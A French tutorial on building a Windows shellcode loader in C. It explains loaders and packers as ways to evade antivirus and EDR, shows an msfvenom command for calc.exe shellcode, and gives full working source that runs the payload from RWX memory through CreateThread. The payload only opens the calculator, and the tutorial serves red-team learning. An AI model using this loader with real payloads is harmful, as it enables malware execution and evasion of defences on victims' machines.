A.Développer un loader de shellcode qui utilise l'API Windows

1.Définition

Loader : Un Loader (ou Dropper s'il contient le fichier) est un programme conçu pour charger et exécuter une charge utile (payload) en mémoire.

Son objectif principal n'est pas d'être malveillant en soi, mais de préparer le terrain pour que le code malveillant (souvent un shellcode ou une DLL) puisse s'exécuter sans être détecté par les antivirus (AV) ou les systèmes EDR.

Ses rôles clés :

1. Allocation : Demander au système d'exploitation de la mémoire pour y placer le code.

2. Évasion : Utiliser des techniques discrètes (comme les syscalls ou l'API Hashing) pour contourner la surveillance des API Windows.

Packer : Un Packer est un outils qui prend un programme exécutable (votre .exe ou .dll final) et le compresse ou le chiffre pour le rendre illisible.

• Le but : L'obfuscation et la compression. Il s'agit de changer la "signature" du fichier pour qu'il ne ressemble pas à un programme connu (et pour échapper aux antivirus statiques).

• Le fonctionnement : Il ajoute un petit morceau de code au début du fichier (appelé le Stub). Quand vous lancez le fichier "packé", le Stub s'exécute en premier, déchiffre/décompresse le programme original en mémoire, puis lui donne la main.

2.Logique et Architecture

Objectif

Lancer un code binaire (Shellcode) dans l'espace mémoire du processus hôte (simple_loader.exe) en utilisant les fonctions de l'API Windows.

🧱 Architecture

Étape	Action	API / Fonction C
1. Déclaration	Le Shellcode est stocké dans le code source en tant que tableau de bytes bruts.	unsigned char payload[]
2. Allocation	Demander au système une zone mémoire avec les droits Exécution, Lecture et Écriture.	VirtualAlloc avec PAGE_EXECUTE_READWRITE
3. Copie	Déplacer le Shellcode du code source (section .data du programme) vers la nouvelle zone mémoire allouée.	memcpy
4. Exécution	Créer un nouveau Thread qui commence son exécution à l'adresse du Shellcode.	CreateThread

3.Génération d'un shellcode

On va générer avec msfvenom un shellcode pour ouvrir une calculatrice :

msfvenom -p windows/x64/exec CMD=calc.exe -f c

4. Code C

Donc pour ce faire on va devoir alloué une zone mémoire pour ce faire on va utilisé la fonction VirtualAlloc (https://learn.microsoft.com/fr-fr/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) :

Cette fonction vient de la DLL kernel32.dll et disponible dans windows.h :

On va disséquer cette fonction :

LPVOID : Valeur de retour de type LPVOID (P = pointeur) -> Pointeur vers n’importe quel type.

• Premier paramètre lpAddress : Adresse de départ de la région à allouer en gros à quelle adresse on va démarrer notre zone mémoire (optionnel)

• Second paramètre dwSize : Taille de la région mémoire qu'on souhaite alloué en octet

• Troisième paramètre flAllocationType : Type d’allocation de mémoire MEM_COMMIT, MEM_RESERVE, MEM_RESET, MEM_RESET_UNDO

• Quatrième paramètre flprotect: Protections qui déterminent si le code s'exécutant dans le processus peut lire, écrire et/ou exécuter les données stockées dans cette région de mémoire.

Ainsi ça nous donne le code suivant :

Étape 1 : Déclaration

#include <windows.h>
#include <stdio.h>

int main(void) {

// Etape 1 : Shellcode
// Shellcode pour lancer calc.exe (pour les tests de PoC)
// Ce shellcode a été généré avec Metasploit/MSFvenom.
unsigned char payload[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

Étape 2 : Allocation

//Etape 2 : Zone mémoire à créer

//On va utilise la fonction virtualloc
/*LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
); 
*/ 

//Commencons par récupérer la taille du payload qui a un type SIZE_T

SIZE_T size = sizeof(payload); // Taille en bytes du shellcode
printf("[+] Taille du payload: %zu bytes\n", size);

// Désormais on doit traiter flAllocationType, la valeur sera MEM_COMMIT | MEM_RESERVE cf.Documentation windows 

// flProtect -> sa valeur sera PAGE_EXECUTE_READWRITE pour avoir une zone mémoire en RWX

LPVOID exec = VirtualAlloc(NULL,size,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

if (exec == NULL){
    printf("Allocation memoire echoue");
}
else{
    printf("Reussi \n");
    printf("[+] Memoire allouee a l'adresse: 0x%p avec les droits RWX.\n", exec);
}

Étape 3 : Copie

// Etape 3 : Copier le shellcode dans la zone mémoire avec memcpy (https://learn.microsoft.com/fr-fr/cpp/c-runtime-library/reference/memcpy-wmemcpy?view=msvc-170)
/*
void *memcpy(
   void *dest,
   const void *src,
   size_t count
);
*/
void *adress= memcpy(exec,payload,size);
printf("[+] Payload copie a l'adresse %p.\n", adress);

Étape 4 : Exécution

// Etape 4 Executer le shellcode à l'aide d'un thread pour qu'il soit décorrélé de l'execution du loader
/*
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);
*/
HANDLE thread_exec = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE) exec,NULL,0,NULL);
//on cast exec en LPTHREAD_START_ROUTINE

if (thread_exec == NULL){
    printf("Thread exec echoue");
}
else{
    printf("Reussi \n");
    printf("[+] Shellcode execute via CreateThread \n");
    WaitForSingleObject(thread_exec, INFINITE);
  
}

Code complet :

#include <windows.h>
#include <stdio.h>

int main(void) {

// Etape 1 : Shellcode
// Shellcode pour lancer calc.exe (pour les tests de PoC)
// Ce shellcode a été généré avec Metasploit/MSFvenom.
unsigned char payload[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

//Etape 2 : Zone mémoire à créer

//On va utilise la fonction virtualloc
/*LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
); 
*/ 

//Commencons par récupérer la taille du payload qui a un type SIZE_T

SIZE_T size = sizeof(payload); // Taille en bytes du shellcode
printf("[+] Taille du payload: %zu bytes\n", size);

// Désormais on doit traiter flAllocationType, la valeur sera MEM_COMMIT | MEM_RESERVE cf.Documentation windows 

// flProtect -> sa valeur sera PAGE_EXECUTE_READWRITE pour avoir une zone mémoire en RWX

LPVOID exec = VirtualAlloc(NULL,size,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

if (exec == NULL){
    printf("Allocation memoire echoue");
}
else{
    printf("Reussi \n");
    printf("[+] Memoire allouee a l'adresse: 0x%p avec les droits RWX.\n", exec);
}

// Etape 3 : Copier le shellcode dans la zone mémoire avec memcpy (https://learn.microsoft.com/fr-fr/cpp/c-runtime-library/reference/memcpy-wmemcpy?view=msvc-170)
/*
void *memcpy(
   void *dest,
   const void *src,
   size_t count
);
*/
void *adress= memcpy(exec,payload,size);
printf("[+] Payload copie a l'adresse %p.\n", adress);

// Etape 4 Executer le shellcode à l'aide d'un thread pour qu'il soit décorrélé de l'execution du loader
/*
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);
*/
HANDLE thread_exec = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE) exec,NULL,0,NULL);
//on cast exec en LPTHREAD_START_ROUTINE

if (thread_exec == NULL){
    printf("Thread exec echoue");
}
else{
    printf("Reussi \n");
    printf("[+] Shellcode execute via CreateThread \n");
    WaitForSingleObject(thread_exec, INFINITE);
  
}
}

4. Compilation

gcc Loader_11.c -o shellcode_runner.exe -lkernel32
.\shellcode_runner.exe